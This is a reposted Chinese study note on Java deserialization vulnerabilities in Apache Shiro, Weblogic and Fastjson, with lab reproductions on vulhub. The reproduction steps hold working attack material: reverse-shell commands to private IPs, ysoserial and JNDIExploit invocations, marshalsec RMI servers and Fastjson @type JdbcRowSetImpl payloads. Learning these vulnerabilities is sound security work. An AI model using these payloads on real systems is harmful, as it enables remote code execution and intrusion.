No.28 笔记 | 反序列化漏洞学习总结
反序列化漏洞总结
一、反序列化漏洞概述
(一)基本概念
-
序列化:将对象转换为字节流,便于在内存、文件、数据库中存储,保证对象完整性与可传递性。例如,把一个包含用户信息(姓名、年龄等)的对象序列化为字节流后,可以方便地进行存储或传输。
-
反序列化:是序列化的逆过程,依据字节流中的对象状态及描述信息重建对象。比如,从存储介质中读取字节流并还原为原始对象。
-
应用场景:广泛应用于远程和进程间通信(RPC/IPC)、连线协议、Web服务、消息代理、缓存/持久性存储区、数据库、缓存服务器、文件系统、HTTP cookie、HTML表单参数、API身份验证令牌等场景。
(二)漏洞原理
程序在反序列化时会自动调用特定函数(如PHP的__wakeup()
、__destruct()
,Java的readObject()
等)。
若传入这些函数的参数能被用户控制,攻击者就可输入恶意代码,从而引发漏洞。
这可能导致多种危害,如远程代码执行(攻击者可执行系统命令,如system('whoami')
获取系统信息)、重放攻击、注入、特权提升等。
二、Apache Shiro反序列化漏洞
(一)框架与漏洞基本信息
- Shiro框架简介:Apache Shiro是强大易用的Java安全框架,用于身份验证、授权、密码和会话管理,广泛应用于众多应用程序。
- 漏洞影响版本:Apache Shiro <= 1.2.4。
(二)漏洞原理
- Shiro的“记住我(RememberMe)”功能在用户登录成功后,会对用户相关信息进行序列化、AES加密、base64编码处理,并存储在cookie的rememberMe字段。由于AES加密密钥硬编码在代码中且Shiro开源,攻击者可获取密钥。
- 攻击者构造恶意对象,按照上述流程处理后发送。服务端接收cookie值后,依次进行Base64解码、AES解密、反序列化操作,因未对反序列化输入过滤,导致可触发远程代码执行漏洞。
(三)漏洞复现
- 环境搭建
- 使用vulhub搭建漏洞环境。进入shiro目录下的相应漏洞目录(如CVE - 2016 - 4437目录),执行
docker - compose up - d
启动环境。
- 使用vulhub搭建漏洞环境。进入shiro目录下的相应漏洞目录(如CVE - 2016 - 4437目录),执行
- 判断是否使用Shiro框架
- 方法一:在网站登录处抓包,若返回包中有rememberMe字段,则可能使用了Shiro框架;若没有,手动添加
cookie: rememberMe = 1
,再看返回包是否有rememberMe = deleteMe
字段。 - 方法二:直接在请求包的cookie中加入
rememberMe = 1
,查看返回包是否有rememberMe = deleteMe
字段。
- 方法一:在网站登录处抓包,若返回包中有rememberMe字段,则可能使用了Shiro框架;若没有,手动添加
- 漏洞利用
- 方法一:使用jar工具(如Liqun工具箱)。选择合适的Gadget/EchoType/Key,进行检测和利用,可执行命令(如
whoami
)并获取反弹Shell。 - 方法二:使用python脚本
- 检测漏洞是否存在时,先申请dnslog临时域名,使用
shiro.py
脚本生成检测payload(如python shiro.py "http://q0so95.dnslog.cn"
),会在当前路径下生成payload.cookie
文件。将文件内容粘贴到抓到的Shiro数据包中,用burp发包,查看dnslog是否有解析记录。 - 利用漏洞时,首先在VPS上监听端口(如
nc - lvvp 6666
),然后构造反弹shell命令(如/bin/bash - i >& /dev/tcp/192.168.188.171/6666 0>&1
)并进行base64编码。接着在VPS开启一个JRMP监听(如java - cp ysoserial - master - SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash - c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTg4LjE3MS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"
),最后使用s.py
构造payload(如python3 s.py 192.168.188.131:1099
)。
- 检测漏洞是否存在时,先申请dnslog临时域名,使用
- 方法一:使用jar工具(如Liqun工具箱)。选择合适的Gadget/EchoType/Key,进行检测和利用,可执行命令(如
(四)任务要求
- 复现CVE - 2016 - 4437和CVE - 2019 - 12422漏洞,仔细按照上述步骤操作,理解漏洞利用过程。
- 独立实现CVE - 2020 - 1957 shiro权限绕过漏洞(Apache Shiro < 1.5.1,在使用Spring动态控制器时,攻击者通过构造
..;
这样的跳转,可绕过Shiro对目录的权限限制)。
三、Weblogic反序列化漏洞
(一)框架与漏洞基本信息
- Weblogic框架简介:Weblogic是常用的Java服务器,在全球有大量应用。随着Java的流行,其相关漏洞在CTF比赛和实际攻击场景中愈发重要。
- 漏洞成因:序列化和反序列化本身没问题,但当输入的反序列化数据可被用户控制,攻击者可构造恶意输入,使反序列化产生非预期对象,执行任意代码。
(二)历史漏洞类型
包括控制台路径泄露、Weakpassword、SSRF、任意文件上传、JAVA反序列化、XMLDecoder反序列化等,涉及多个CVE编号,如CVE - 2014 - 4210、CVE - 2018 - 2894等。
(三)漏洞复现(以CVE - 2023 - 21839为例)
- 环境搭建
- 基于vulhub搭建漏洞环境。进入Weblogic的CVE - 2023 - 21839目录,执行
docker - compose up - d
拉起环境,查看端口映射,Weblogic常用端口为7001。
- 基于vulhub搭建漏洞环境。进入Weblogic的CVE - 2023 - 21839目录,执行
- 漏洞原理
- 在反序列化过程中,执行漏洞类
ForeignOpaqueReference
中getReferent()
方法中的lookup()
触发漏洞。Context
的lookup
方法用于查找指定名称的对象,攻击者利用此特性,构造LDAP服务器实现远程命令执行。
- 在反序列化过程中,执行漏洞类
- 漏洞利用
- Dnslog探测:使用工具(如
java - jar Weblogic - CVE - 2023 - 21839.jar 192.168.80.129:7001 ldap://dnslog地址
)发送请求,查看dnslog是否有解析记录。 - 反弹shell
- VPS使用
JNDIExploit - 1.4 - SNAPSHOT.jar
工具启动ladp服务(如java - jar JNDIExploit - 1.4 - SNAPSHOT.jar - i ip(VPS的IP地址)
)并启用监听反弹端口(如nc –lvvp 7777
)。 - 在本机执行漏洞利用代码(如
java - jar Weblogic - CVE - 2023 - 21839.jar 192.168.80.129:7001 ldap://vps的ip地址:1389/Basic/ReverseShell/vsp的ip地址/VPS的nc监听端口
)。
- VPS使用
- Dnslog探测:使用工具(如
(四)任务要求
复现CVE - 2017 - 10271、CVE - 2018 - 2894、CVE - 2020 - 14882(未授权命令执行)漏洞,以及进行ssrf(端口探测、尝试反弹shell),参考相关资料进行操作。
四、Fastjson反序列化漏洞
(一)框架与漏洞基本信息
- JSON与Fastjson简介
- JSON是一种使用键值对存储信息的字符串格式,用于信息交换。例如
{"name":"张三","age":20}
就是一个简单的JSON数据。 - Fastjson是阿里巴巴开源的高性能JSON库,可实现Java对象与JSON格式的相互转换,广泛应用于缓存序列化、协议交互、Web输出、Android客户端等场景,但存在反序列化安全隐患。
- JSON是一种使用键值对存储信息的字符串格式,用于信息交换。例如
- 历史漏洞版本:Fastjson <= 1.2.24、1.2.41、1.2.42、1.2.43、1.2.45、1.2.47、1.2.62、1.2.66等版本存在反序列化远程命令执行漏洞。
(二)漏洞原理
- 当类只有一个接口时,序列化会抹去子类类型,只保留接口类型,导致反序列化无法区分原始类型。为解决此问题,Fastjson引入基于属性的AutoType,用
@type
记录原始类型,但被攻击者利用。 - 攻击者构造恶意JSON,指定
@type
为有漏洞的类(如com.sun.rowset.JdbcRowSetImpl
),当存在漏洞的目标机反序列化时,会执行类的危险方法,连接攻击者控制的rmi服务器获取恶意代码并执行,实现远程命令执行。
(三)漏洞复现(以1.2.47版本为例)
- 环境搭建与漏洞发现
- 进入vulhub的fastjson目录下的1.2.47 - rce目录,执行
docker - compose up - d
启动环境。物理机访问目标地址,若看到一个JSON对象被返回,则漏洞环境搭建成功。将请求方式改为POST,将content - type请求头修改为application/json
,可向其提交新的JSON对象,后端会用fastjson解析。通过提交特定JSON(如{"a":{"@type":"java.net.Inet4Address","val":"dnslog"}}
)利用dnslog检测漏洞是否存在。
- 进入vulhub的fastjson目录下的1.2.47 - rce目录,执行
- 反弹shell流程
- 编译恶意代码(如
TouchFile.java
)为class文件并上传至web服务器(如javac TouchFile.java
)。 - 启动HTTP服务器(如
python - m SimpleHTTPServer 8088
或python3 - m http.server 8089
)为class文件提供下载。 - 使用marshalsec开启ldap服务(如
java - cp marshalsec - 0.0.3 - SNAPSHOT - all.jar marshalsec.jndi.RMIRefServer "http://192.168.179.128:8000/#TouchFile" 9999
)。 - Burp发送payload(如
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.179.128:9999/TouchFile","autoCommit":true}}
),攻击机监听相应端口(如nc - Lvvp 12000
),成功建立反弹连接。
- 编译恶意代码(如
(四)任务要求
复现1.2.24版本漏洞,使用给定的poc({"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://59.110.xx.xx:9999/Test","autoCommit":true}}
)进行测试。
反序列化漏洞在不同框架中表现形式和利用方式各异,但核心问题都是对反序列化数据缺乏有效过滤和校验。
开发者应加强数据校验,及时更新框架版本;安全人员需深入研究漏洞,做好防范工作。
对于学习者,通过深入学习和复现漏洞,可提高安全意识与漏洞挖掘能力。同时,完成相关作业任务(如必修的PHP序列化漏洞研究和Java生态圈框架、中间件RCE漏洞分析,选修的Python序列化漏洞研究)有助于更全面地掌握相关知识。
原文地址:https://blog.csdn.net/l1x1n0/article/details/144730718
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!